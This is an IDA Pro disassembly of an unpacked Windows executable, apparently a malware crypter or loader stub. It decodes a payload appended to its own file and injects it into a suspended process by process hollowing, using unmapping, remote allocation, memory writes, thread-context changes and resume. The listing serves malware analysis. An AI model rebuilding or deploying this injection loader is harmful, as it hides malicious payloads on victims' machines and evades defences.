; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 4C36F6ECDA7CF55CCE5F389E5C222B32 ; --------------------------------------------------------------------------- ; File Name : u:\work\4c36f6ecda7cf55cce5f389e5c222b32_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0000743D ( 29757.) ; Section size in file : 0000743D ( 29757.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing sub esp, 8 push ebx push edi mov edi, [esp+18h] shl edi, 4 push edi call _malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_401021 pop edi pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_401021: ; CODE XREF: .text:00401019j push esi push offset aNtdll_dll ; "ntdll.dll" call ds:dword_409008 ; LoadLibraryA mov esi, eax test esi, esi jnz short loc_40103A pop esi pop edi pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_40103A: ; CODE XREF: .text:00401031j push ebp push offset aRtldecompressb ; "RtlDecompressBuffer" push esi call ds:dword_409004 ; GetProcAddress push offset aRtlgetcompress ; "RtlGetCompressionWorkSpaceSize" push esi mov ebp, eax call ds:dword_409004 ; GetProcAddress mov ecx, [esp+20h] test ecx, ecx jz short loc_401099 test ebp, ebp jz short loc_401099 test eax, eax jz short loc_401099 lea ecx, [esp+10h] push ecx lea edx, [esp+18h] push edx push 2 call eax mov eax, [esp+24h] mov ecx, [esp+20h] mov edx, [esp+1Ch] push eax push ecx push edx push edi push ebx push 2 call ebp push esi call ds:dword_409000 ; FreeLibrary pop ebp pop esi pop edi mov eax, ebx pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_401099: ; CODE XREF: .text:0040105Bj ; .text:0040105Fj ... pop ebp pop esi pop edi xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4010B0(FILE *File,int,int,int,int) sub_4010B0 proc near ; CODE XREF: WinMain(x,x,x,x)+62p var_13C4 = dword ptr -13C4h var_13C0 = dword ptr -13C0h var_13BC = dword ptr -13BCh var_13B8 = dword ptr -13B8h var_13B4 = dword ptr -13B4h var_13B0 = dword ptr -13B0h var_13AC = word ptr -13ACh var_1370 = dword ptr -1370h var_136C = byte ptr -136Ch DstBuf = dword ptr -128Ch var_1288 = dword ptr -1288h var_1284 = dword ptr -1284h var_1280 = dword ptr -1280h var_127C = dword ptr -127Ch var_1278 = dword ptr -1278h File = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, 13C4h call __alloca_probe push ebx mov ebx, [esp+13C8h+File] push ebp push 2 ; Origin push 0 ; Offset push ebx ; File call _fseek push ebx ; File call _ftell mov ebp, eax mov eax, Offset push 0 ; Origin push eax ; Offset push ebx ; File sub ebp, eax call _fseek push ebx ; File push 1 ; Count push 1 ; ElementSize push offset byte_40B6E1 ; DstBuf call _fread push ebx ; File push 1 ; Count push 1 ; ElementSize push offset byte_40B7F8 ; DstBuf call _fread push ebx ; File push 1 ; Count push 1 ; ElementSize push offset byte_40B6E0 ; DstBuf call _fread mov al, byte_40B6E1 mov cl, byte_40B7F8 mov dl, byte_40B6E0 neg al neg cl neg dl add esp, 4Ch cmp ebp, 40h mov byte_40B6E1, al mov byte_40B7F8, cl mov byte_40B6E0, dl jnb short loc_40115A push offset aFsd789f7s89d67 ; "Fsd789f 7s89d67f78 as6d78f6 as78dytg i4"... call _printf add esp, 4 pop ebp xor al, al pop ebx add esp, 13C4h retn ; --------------------------------------------------------------------------- loc_40115A: ; CODE XREF: sub_4010B0+90j mov eax, Offset push 0 ; Origin add eax, 3 push eax ; Offset push ebx ; File call _fseek push ebx ; File push 1 ; Count lea ecx, [esp+13E0h+DstBuf] push 40h ; ElementSize push ecx ; DstBuf call _fread mov cl, byte_40B6E1 mov dl, byte_40B7F8 add esp, 1Ch xor eax, eax mov edi, edi loc_401190: ; CODE XREF: sub_4010B0+F4j add byte ptr [esp+eax+13CCh+DstBuf], cl add byte ptr [esp+eax+13CCh+DstBuf+1], dl add eax, 2 cmp eax, 40h jb short loc_401190 push esi push edi mov ecx, 10h lea esi, [esp+13D4h+DstBuf] lea edi, [esp+13D4h+var_13AC] rep movsd cmp [esp+13D4h+var_13AC], 5A4Dh jnz loc_40126E mov eax, [esp+13D4h+var_1370] lea edx, [eax+18h] cmp ebp, edx jb loc_40126E mov ecx, Offset push 0 ; Origin lea edx, [ecx+eax+3] push edx ; Offset push ebx ; File call _fseek push ebx ; File push 1 ; Count lea eax, [esp+13E8h+DstBuf] push 18h ; ElementSize push eax ; DstBuf call _fread mov cl, byte_40B6E1 mov dl, byte_40B7F8 add esp, 1Ch xor eax, eax lea esp, [esp+0] loc_401210: ; CODE XREF: sub_4010B0+174j add byte ptr [esp+eax+13D4h+DstBuf], cl add byte ptr [esp+eax+13D4h+DstBuf+1], dl add eax, 2 cmp eax, 18h jb short loc_401210 mov eax, [esp+13D4h+var_1284] mov ecx, [esp+13D4h+DstBuf] mov edx, [esp+13D4h+var_1288] mov [esp+13D4h+var_13BC], eax mov eax, [esp+13D4h+var_1278] cmp ax, 0E0h mov [esp+13D4h+var_13C4], ecx mov ecx, [esp+13D4h+var_1280] mov [esp+13D4h+var_13C0], edx mov edx, [esp+13D4h+var_127C] mov [esp+13D4h+var_13B8], ecx mov [esp+13D4h+var_13B4], edx mov [esp+13D4h+var_13B0], eax jz short loc_40127B loc_40126E: ; CODE XREF: sub_4010B0+111j ; sub_4010B0+120j pop edi pop esi pop ebp xor al, al pop ebx add esp, 13C4h retn ; --------------------------------------------------------------------------- loc_40127B: ; CODE XREF: sub_4010B0+1BCj push ebx ; File push 1 ; Count lea eax, [esp+13DCh+DstBuf] push 0E0h ; ElementSize push eax ; DstBuf call _fread mov cl, byte_40B6E1 mov dl, byte_40B7F8 add esp, 10h xor eax, eax loc_4012A1: ; CODE XREF: sub_4010B0+207j add byte ptr [esp+eax+13D4h+DstBuf], cl add byte ptr [esp+eax+13D4h+DstBuf+1], dl add eax, 2 cmp eax, 0E0h jb short loc_4012A1 mov ecx, 38h lea esi, [esp+13D4h+DstBuf] lea edi, [esp+13D4h+var_136C] rep movsd movzx esi, word ptr [esp+13D4h+var_13C0+2] lea esi, [esi+esi*4] shl esi, 3 push esi ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) push ebx ; File push 1 ; Count lea ecx, [esp+13E0h+DstBuf] push esi ; ElementSize push ecx ; DstBuf mov ebp, eax call _fread add esp, 14h xor eax, eax test esi, esi jbe short loc_401325 mov cl, byte_40B6E1 mov dl, byte_40B7F8 jmp short loc_401310 ; --------------------------------------------------------------------------- align 10h loc_401310: ; CODE XREF: sub_4010B0+254j ; sub_4010B0+273j add byte ptr [esp+eax+13D4h+DstBuf], cl add byte ptr [esp+eax+13D4h+DstBuf+1], dl add eax, 2 cmp eax, esi jb short loc_401310 loc_401325: ; CODE XREF: sub_4010B0+246j mov ecx, esi mov edx, ecx mov eax, [esp+13D4h+arg_8] shr ecx, 2 mov edi, ebp lea esi, [esp+13D4h+DstBuf] rep movsd mov ecx, edx mov edx, [esp+13D4h+var_13C0] and ecx, 3 rep movsb mov edi, [esp+13D4h+arg_4] mov ecx, 10h lea esi, [esp+13D4h+var_13AC] rep movsd mov ecx, [esp+13D4h+var_13C4] mov edi, [esp+13D4h+arg_C] mov [eax], ecx mov ecx, [esp+13D4h+var_13BC] mov [eax+4], edx mov edx, [esp+13D4h+var_13B8] mov [eax+8], ecx mov ecx, [esp+13D4h+var_13B4] mov [eax+0Ch], edx mov edx, [esp+13D4h+var_13B0] mov [eax+10h], ecx mov [eax+14h], edx mov eax, [esp+13D4h+arg_10] mov ecx, 38h lea esi, [esp+13D4h+var_136C] rep movsd pop edi pop esi mov [eax], ebp pop ebp mov al, 1 pop ebx add esp, 13C4h retn sub_4010B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4013B0 proc near ; CODE XREF: WinMain(x,x,x,x)+89p arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_8] mov ecx, [eax+3Ch] push esi mov esi, [eax+20h] xor edx, edx mov eax, ecx div esi push edi test edx, edx jnz short loc_4013CA mov edi, ecx jmp short loc_4013D0 ; --------------------------------------------------------------------------- loc_4013CA: ; CODE XREF: sub_4013B0+14j lea edi, [eax+1] imul edi, esi loc_4013D0: ; CODE XREF: sub_4013B0+18j mov eax, [esp+8+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_401409 push ebx mov ebx, [esp+0Ch+arg_C] push ebp add ebx, 8 mov ebp, eax loc_4013E7: ; CODE XREF: sub_4013B0+55j mov ecx, [ebx] test ecx, ecx jz short loc_401401 xor edx, edx mov eax, ecx div esi test edx, edx jnz short loc_4013FB add edi, ecx jmp short loc_401401 ; --------------------------------------------------------------------------- loc_4013FB: ; CODE XREF: sub_4013B0+45j inc eax imul eax, esi add edi, eax loc_401401: ; CODE XREF: sub_4013B0+3Bj ; sub_4013B0+49j add ebx, 28h dec ebp jnz short loc_4013E7 pop ebp pop ebx loc_401409: ; CODE XREF: sub_4013B0+2Aj mov eax, edi pop edi pop esi retn sub_4013B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [esp+8] push esi mov esi, [esp+8] xor edx, edx mov eax, esi div ecx test edx, edx jnz short loc_401427 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_401427: ; CODE XREF: .text:00401421j inc eax imul eax, ecx pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_401430(FILE *File,int,int,int,int,int) sub_401430 proc near ; CODE XREF: WinMain(x,x,x,x)+D2p var_33294 = dword ptr -33294h var_33290 = dword ptr -33290h DstBuf = byte ptr -3328Ch var_3328B = byte ptr -3328Bh var_32000 = byte ptr -32000h File = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov eax, 33294h call __alloca_probe mov eax, Offset push ebx push ebp push esi mov esi, [esp+332A0h+File] push edi push 0 ; Origin push eax ; Offset push esi ; File call _fseek push esi ; File push 1 ; Count push 1 ; ElementSize push offset byte_40B6E1 ; DstBuf call _fread push esi ; File push 1 ; Count push 1 ; ElementSize push offset byte_40B7F8 ; DstBuf call _fread push esi ; File push 1 ; Count push 1 ; ElementSize push offset byte_40B6E0 ; DstBuf call _fread mov dl, byte_40B7F8 mov cl, byte_40B6E1 mov al, byte_40B6E0 neg dl neg cl mov byte_40B7F8, dl mov edx, [esp+332E0h+arg_8] neg al mov byte_40B6E1, cl mov ecx, [esp+332E0h+arg_C] mov byte_40B6E0, al movzx eax, word ptr [edx+6] mov ebx, [ecx+3Ch] add esp, 3Ch test eax, eax jle short loc_4014DE mov edx, [esp+332A4h+arg_10] add edx, 14h mov edi, edi loc_4014D0: ; CODE XREF: sub_401430+ACj mov ecx, [edx] cmp ecx, ebx jnb short loc_4014D8 mov ebx, ecx loc_4014D8: ; CODE XREF: sub_401430+A4j add edx, 28h dec eax jnz short loc_4014D0 loc_4014DE: ; CODE XREF: sub_401430+92j push esi ; File push ebx ; Count lea eax, [esp+332ACh+DstBuf] push 1 ; ElementSize push eax ; DstBuf call _fread add esp, 10h xor ecx, ecx test ebx, ebx mov [esp+332A4h+var_33290], eax jbe short loc_401513 mov al, byte_40B6E1 mov dl, byte_40B7F8 loc_401504: ; CODE XREF: sub_401430+E1j add [esp+ecx+332A4h+DstBuf], al add [esp+ecx+332A4h+var_3328B], dl add ecx, 2 cmp ecx, ebx jb short loc_401504 loc_401513: ; CODE XREF: sub_401430+C7j mov ebp, [esp+332A4h+arg_14] mov eax, [esp+332A4h+var_33290] mov ecx, ebx mov edx, ecx shr ecx, 2 lea esi, [esp+332A4h+DstBuf] mov edi, ebp rep movsd mov ecx, edx and ecx, 3 cmp eax, ebx rep movsb jnz loc_40166D mov eax, [esp+332A4h+arg_C] mov esi, [eax+3Ch] mov ecx, [eax+20h] xor edx, edx mov eax, esi div ecx test edx, edx jnz short loc_401557 mov eax, esi jmp short loc_40155B ; --------------------------------------------------------------------------- loc_401557: ; CODE XREF: sub_401430+121j inc eax imul eax, ecx loc_40155B: ; CODE XREF: sub_401430+125j add eax, ebp mov [esp+332A4h+var_33294], eax mov eax, [esp+332A4h+arg_8] cmp word ptr [eax+6], 0 mov [esp+332A4h+var_33290], 0 jbe loc_401660 mov ebp, [esp+332A4h+arg_10] add ebp, 8 loc_401585: ; CODE XREF: sub_401430+22Aj mov ebx, [ebp+8] test ebx, ebx jbe loc_401624 mov eax, [ebp+0] cmp ebx, eax jbe short loc_401599 mov ebx, eax loc_401599: ; CODE XREF: sub_401430+165j mov ecx, [ebp+0Ch] mov edx, Offset mov esi, [esp+332A4h+File] push 0 ; Origin lea eax, [ecx+edx+3] push eax ; Offset push esi ; File call _fseek push esi ; File push ebx ; Count lea ecx, [esp+332B8h+var_32000] push 1 ; ElementSize push ecx ; DstBuf call _fread add esp, 1Ch xor ecx, ecx test ebx, ebx jbe short loc_4015E2 mov dl, byte_40B6E0 loc_4015D6: ; CODE XREF: sub_401430+1B0j add [esp+ecx+332A4h+var_32000], dl inc ecx cmp ecx, ebx jb short loc_4015D6 loc_4015E2: ; CODE XREF: sub_401430+19Ej mov edi, [esp+332A4h+var_33294] mov ecx, ebx mov edx, ecx shr ecx, 2 lea esi, [esp+332A4h+var_32000] rep movsd mov ecx, edx and ecx, 3 cmp eax, ebx rep movsb jnz short loc_40166D mov eax, [esp+332A4h+arg_C] mov ecx, [eax+20h] mov esi, [ebp+0] xor edx, edx mov eax, esi div ecx test edx, edx jz short loc_40161E lea esi, [eax+1] imul esi, ecx loc_40161E: ; CODE XREF: sub_401430+1E6j add [esp+332A4h+var_33294], esi jmp short loc_401641 ; --------------------------------------------------------------------------- loc_401624: ; CODE XREF: sub_401430+15Aj mov esi, [ebp+0] test esi, esi jz short loc_401641 xor edx, edx mov eax, esi div ecx test edx, edx jnz short loc_401639 mov eax, esi jmp short loc_40163D ; --------------------------------------------------------------------------- loc_401639: ; CODE XREF: sub_401430+203j inc eax imul eax, ecx loc_40163D: ; CODE XREF: sub_401430+207j add [esp+332A4h+var_33294], eax loc_401641: ; CODE XREF: sub_401430+1F2j ; sub_401430+1F9j mov edx, [esp+332A4h+arg_8] mov eax, [esp+332A4h+var_33290] movzx edx, word ptr [edx+6] inc eax add ebp, 28h cmp eax, edx mov [esp+332A4h+var_33290], eax jl loc_401585 loc_401660: ; CODE XREF: sub_401430+145j pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 33294h retn ; --------------------------------------------------------------------------- loc_40166D: ; CODE XREF: sub_401430+106j ; sub_401430+1CFj pop edi pop esi pop ebp xor al, al pop ebx add esp, 33294h retn sub_401430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401680 proc near ; CODE XREF: sub_401820+D3p arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov eax, [esp+arg_8] mov ecx, [eax+88h] test ecx, ecx jz short locret_4016F7 mov edx, [eax+8Ch] test edx, edx jz short locret_4016F7 push ebp mov ebp, [esp+4+arg_14] push esi push edi mov edi, [esp+0Ch+arg_10] lea esi, [ecx+edi] mov ecx, [eax+1Ch] mov eax, [esi+4] sub ebp, ecx test eax, eax jz short loc_4016F4 push ebx loc_4016B3: ; CODE XREF: sub_401680+71j mov eax, [esi+4] sub eax, 8 shr eax, 1 test eax, eax lea edx, [esi+8] jle short loc_4016EA mov ebx, eax loc_4016C4: ; CODE XREF: sub_401680+68j xor ecx, ecx mov cx, [edx] mov eax, ecx and eax, 0FFFh add eax, [esi] and ecx, 0F000h add eax, edi cmp ecx, 3000h jnz short loc_4016E4 add [eax], ebp loc_4016E4: ; CODE XREF: sub_401680+60j add edx, 2 dec ebx jnz short loc_4016C4 loc_4016EA: ; CODE XREF: sub_401680+40j mov eax, [edx+4] test eax, eax mov esi, edx jnz short loc_4016B3 pop ebx loc_4016F4: ; CODE XREF: sub_401680+30j pop edi pop esi pop ebp locret_4016F7: ; CODE XREF: sub_401680+Cj ; sub_401680+16j retn sub_401680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401700 proc near ; CODE XREF: WinMain(x,x,x,x)+EEp var_64 = byte ptr -64h var_60 = byte ptr -60h var_54 = dword ptr -54h var_50 = dword ptr -50h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 64h push edi xor eax, eax mov [esp+68h+var_44], 0 mov ecx, 10h lea edi, [esp+68h+var_40] rep stosd mov edi, [esp+68h+arg_4] mov ecx, [esp+68h+arg_0] push edi lea eax, [esp+6Ch+var_44] push eax push 0 push 0 push 4 push 0 push 0 push 0 push ecx push 0 call ds:dword_409018 ; CreateProcessA test eax, eax jz loc_4017D4 push ebx push ebp push esi mov esi, [esp+74h+arg_8] mov dword ptr [esi], 10007h mov edx, [edi+4] push esi push edx call ds:dword_409014 ; GetThreadContext mov ecx, [esi+0A4h] mov ebp, [esp+74h+arg_C] mov edx, [edi] lea eax, [esp+74h+var_64] push eax push 4 push ebp add ecx, 8 push ecx push edx call ds:dword_409010 ; ReadProcessMemory mov esi, [ebp+0] mov ecx, [edi] mov ebx, ds:dword_40900C push 1Ch lea eax, [esp+78h+var_60] push eax push esi push ecx call ebx ; VirtualQueryEx test eax, eax jz short loc_4017C1 jmp short loc_4017A0 ; --------------------------------------------------------------------------- align 10h loc_4017A0: ; CODE XREF: sub_401700+9Bj ; sub_401700+BFj cmp [esp+74h+var_50], 10000h jz short loc_4017C1 mov eax, [esp+74h+var_54] push 1Ch lea edx, [esp+78h+var_60] add esi, eax mov eax, [edi] push edx push esi push eax call ebx ; VirtualQueryEx test eax, eax jnz short loc_4017A0 loc_4017C1: ; CODE XREF: sub_401700+99j ; sub_401700+A8j sub esi, [ebp+0] mov [ebp+4], esi pop esi pop ebp pop ebx mov eax, 1 pop edi add esp, 64h retn ; --------------------------------------------------------------------------- loc_4017D4: ; CODE XREF: sub_401700+3Ej xor eax, eax pop edi add esp, 64h retn sub_401700 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+4] mov ecx, [eax+88h] test ecx, ecx jz short loc_4017FE mov ecx, [eax+8Ch] test ecx, ecx jz short loc_4017FE mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4017FE: ; CODE XREF: .text:004017ECj ; .text:004017F6j xor eax, eax retn ; --------------------------------------------------------------------------- align 10h mov eax, [esp+4] push 0 push eax call ds:dword_40901C ; TerminateProcess retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401820 proc near ; CODE XREF: WinMain(x,x,x,x)+176p arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_30 = dword ptr 34h arg_D4 = dword ptr 0D8h arg_E0 = dword ptr 0E4h arg_2FC = dword ptr 300h arg_300 = dword ptr 304h push ebx mov ebx, [esp+4+arg_2FC] push ebp mov ebp, [esp+8+arg_C] cmp [ebp+1Ch], ebx push esi push edi mov edi, [esp+10h+arg_18] jnz short loc_40185F mov eax, [esp+10h+arg_300] cmp edi, eax ja short loc_40185F mov esi, [esp+10h+arg_20] lea ecx, [esp+10h+arg_C] push ecx push 40h push eax push ebx push esi mov dword_40B80C, ebx call ds:dword_409028 ; VirtualProtectEx jmp short loc_40189A ; --------------------------------------------------------------------------- loc_40185F: ; CODE XREF: sub_401820+16j ; sub_401820+21j mov esi, [esp+10h+arg_20] push ebx push esi mov dword_40B7F4, esi mov dword_40B800, ebx call dword_40B814 ; ZwUnmapViewOfSection test eax, eax jz short loc_401882 cmp byte ptr [esp+10h+arg_C], 1 jnz short loc_40189A loc_401882: ; CODE XREF: sub_401820+59j mov edx, [ebp+1Ch] push 40h push 3000h push edi push edx push esi call ds:dword_409024 ; VirtualAllocEx mov dword_40B80C, eax loc_40189A: ; CODE XREF: sub_401820+3Dj ; sub_401820+60j mov eax, dword_40B80C test eax, eax jnz short loc_401908 mov eax, [ebp+88h] test eax, eax jz loc_40199B mov eax, [ebp+8Ch] test eax, eax jz loc_40199B push 40h push 3000h push edi push 0 push esi call ds:dword_409024 ; VirtualAllocEx test eax, eax mov dword_40B80C, eax jz loc_40199B mov ecx, [esp+10h+arg_10] mov edx, [esp+10h+arg_8] push eax mov eax, [esp+14h+arg_14] push eax mov eax, [esp+18h+arg_4] push ecx push ebp push edx push eax call sub_401680 mov eax, dword_40B80C add esp, 18h test eax, eax jz loc_40199B loc_401908: ; CODE XREF: sub_401820+81j mov edi, [esp+10h+arg_D4] push offset aWriteprocessme ; "WriteProcessMemory" push offset aKernel32_dll ; "kernel32.dll" call ds:dword_409020 ; GetModuleHandleA push eax call ds:dword_409004 ; GetProcAddress push 0 push 4 push offset dword_40B80C add edi, 8 push edi push esi call eax mov ecx, [esp+10h+arg_4] mov edx, [ecx+3Ch] mov eax, dword_40B80C mov ecx, [esp+10h+arg_14] mov [edx+ecx+34h], eax mov eax, dword_40B80C cmp eax, ebx mov [esp+10h+arg_30], 10007h jnz short loc_40196A mov edx, [ebp+10h] add edx, [ebp+1Ch] mov [esp+10h+arg_E0], edx jmp short loc_401976 ; --------------------------------------------------------------------------- loc_40196A: ; CODE XREF: sub_401820+139j mov ecx, [ebp+10h] add ecx, eax mov [esp+10h+arg_E0], ecx loc_401976: ; CODE XREF: sub_401820+148j mov eax, [esp+10h+arg_24] lea edx, [esp+10h+arg_30] push edx push eax mov dword_40B804, esi mov dword_40B7EC, eax call dword_40B810 ; SetThreadContext pop edi pop esi pop ebp mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_40199B: ; CODE XREF: sub_401820+8Bj ; sub_401820+99j ... pop edi pop esi pop ebp xor eax, eax pop ebx retn sub_401820 endp ; --------------------------------------------------------------------------- align 10h mov eax, dword_40B7EC push eax mov byte_40B808, 1 call ds:dword_40902C ; ResumeThread retn ; --------------------------------------------------------------------------- align 10h mov eax, dword_40B7F0 push 0 push eax call ds:dword_40901C ; TerminateProcess retn ; --------------------------------------------------------------------------- align 10h push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call ds:dword_409030 ; GetModuleFileNameA retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+186p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_3EC = dword ptr -3ECh var_3AC = dword ptr -3ACh var_2CC = byte ptr -2CCh hInstance = dword ptr 4 hPrevInstance = dword ptr 8 lpCmdLine = dword ptr 0Ch nShowCmd = dword ptr 10h sub esp, 420h push ebx push ebp push esi push edi mov edi, ds:dword_409030 push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call edi ; GetModuleFileNameA push 6 push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" call ds:dword_409034 ; SetFileAttributesA push offset aRb ; "rb" push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" call _fopen add esp, 8 test eax, eax mov File, eax jz loc_401BEE lea ecx, [esp+430h+var_420] push ecx ; int lea edx, [esp+434h+var_3AC] push edx ; int lea ecx, [esp+438h+var_404] push ecx ; int lea edx, [esp+43Ch+var_3EC] push edx ; int push eax ; File call sub_4010B0 add esp, 14h test al, al jz loc_401BEE mov esi, [esp+430h+var_420] push esi lea eax, [esp+434h+var_3AC] push eax lea ecx, [esp+438h+var_404] push ecx lea edx, [esp+43Ch+var_3EC] push edx call sub_4013B0 add esp, 10h push offset aVirtualalloc ; "VirtualAlloc" push offset aKernel32_dll ; "kernel32.dll" mov ebx, eax call ds:dword_409020 ; GetModuleHandleA push eax call ds:dword_409004 ; GetProcAddress push 40h push 1000h push ebx push 0 call eax mov ebp, eax push ebp ; int push esi ; int lea eax, [esp+438h+var_3AC] push eax ; int mov eax, File lea ecx, [esp+43Ch+var_404] push ecx ; int lea edx, [esp+440h+var_3EC] push edx ; int push eax ; File call sub_401430 lea ecx, [esp+448h+var_41C] push ecx lea edx, [esp+44Ch+var_2CC] push edx lea eax, [esp+450h+var_414] push eax push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" call sub_401700 add esp, 28h push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call edi ; GetModuleFileNameA mov ecx, [esp+430h+var_418] mov edx, [esp+430h+var_41C] push ecx push edx mov edx, [esp+438h+var_410] sub esp, 2CCh mov edi, esp sub esp, 10h mov eax, esp mov ecx, 0B3h lea esi, [esp+714h+var_2CC] rep movsd mov ecx, [esp+714h+var_414] mov [eax], ecx mov ecx, [esp+714h+var_40C] mov [eax+4], edx mov edx, [esp+714h+var_408] push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov [eax+8], ecx push ebx mov [eax+0Ch], edx mov eax, [esp+71Ch+var_420] push ebp push eax lea ecx, [esp+724h+var_3AC] push ecx lea edx, [esp+728h+var_404] push edx lea eax, [esp+72Ch+var_3EC] push eax push 0 call sub_401820 mov esi, ds:dword_40901C add esp, 304h test eax, eax jnz short loc_401B96 mov ecx, dword_40B804 push 0 push ecx call esi ; TerminateProcess loc_401B96: ; CODE XREF: WinMain(x,x,x,x)+189j push offset aWriteprocessme ; "WriteProcessMemory" push offset aKernel32_dll ; "kernel32.dll" call ds:dword_409020 ; GetModuleHandleA push eax call ds:dword_409004 ; GetProcAddress mov edx, dword_40B80C mov ecx, dword_40B804 push 0 push ebx push ebp push edx push ecx call eax mov edx, dword_40B7EC push edx mov byte_40B808, 1 call ds:dword_40902C ; ResumeThread mov cl, byte_40B808 test cl, cl mov eax, dword_40B804 mov dword_40B7F0, eax jnz short loc_401BEE push 0 push eax call esi ; TerminateProcess loc_401BEE: ; CODE XREF: WinMain(x,x,x,x)+44j ; WinMain(x,x,x,x)+6Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 420h retn 10h _WinMain@16 endp ; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _printf. PRESS KEYPAD "+" TO EXPAND] ; [000000E9 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND] ; [00000159 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND] ; [0000008E BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; --------------------------------------------------------------------------- _fast_error_exit: cmp dword_40B820, 1 jnz short loc_40203D call __FF_MSGBANNER loc_40203D: ; CODE XREF: .text:00402036j push dword ptr [esp+4] call __NMSG_WRITE push 0FFh call unknown_libname_1 ; Microsoft VisualC 2-8/net runtime pop ecx pop ecx retn ; --------------------------------------------------------------------------- _check_managed_app: push 0 call ds:dword_409020 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_402081 mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_402081 movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_402097 cmp eax, 20Bh jz short loc_402084 loc_402081: ; CODE XREF: .text:00402060j ; .text:0040206Dj xor eax, eax retn ; --------------------------------------------------------------------------- loc_402084: ; CODE XREF: .text:0040207Fj xor eax, eax cmp dword ptr [ecx+84h], 0Eh jbe short locret_4020A8 